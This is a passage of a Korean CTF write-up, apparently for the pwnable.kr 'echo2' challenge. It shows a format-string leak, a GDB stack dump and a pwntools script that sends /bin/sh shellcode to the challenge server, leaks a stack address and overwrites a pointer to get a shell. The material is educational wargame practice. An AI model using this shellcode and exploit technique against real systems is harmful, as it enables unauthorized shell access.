FSB 발생 확인
hello abcd AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x AAAA 250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd |
(gdb) x/64wx $rsp-0x20 0x7fffffffdc10: 0xffffdd70 0x00000020 0xffffdc30 0x00007fff 0x7fffffffdc20: 0xffffdc50 0x00007fff 0x00400858 0x00000000 0x7fffffffdc30: 0x61616161 0x2e783825 0x2e783825 0x2e783825 0x7fffffffdc40: 0x2e783825 0x2e783825 0x2e783825 0x00783825 0x7fffffffdc50: 0xffffdc90 0x00007fff 0x00400acb 0x00000000 0x7fffffffdc60: 0xffffdc90 0x00007fff 0x00000000 0x00000002 0x7fffffffdc70: 0x41414141 0x00000000 0x004006b0 0x00000000 0x7fffffffdc80: 0xffffdd70 0x00007fff 0x00000000 0x00000000 0x7fffffffdc90: 0x00000000 0x00000000 0xf7a36ec5 0x00007fff 0x7fffffffdca0: 0x00000000 0x00000000 0xffffdd78 0x00007fff |
위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)
Exploit 코드
from pwn import * shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #sh=process("/home/u64/Desktop/echo2/echo2_ori") sh=remote("pwnable.kr",9011) sh.recvuntil(":") sh.sendline(shellcode) print sh.recvuntil("> ") sh.sendline("2") sh.recvline() sh.sendline("%x%x%x%x%x%x%x%x%xS%lx") addr = sh.recvline() addr = addr[addr.index("S")+1:].strip() name=int(addr,16)-0x20 sh.recvuntil(">") sh.sendline("4") sh.sendline("n") sh.recvuntil(">") sh.sendline("3") sh.recvline() sh.sendline("A"*24+p64(name)) sh.interactive() |
'Pwnable.kr > Rookiss' 카테고리의 다른 글
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] fsb - 20pt (0) | 2016.11.17 |
[pwnable.kr] simple login - 50pt (0) | 2016.08.23 |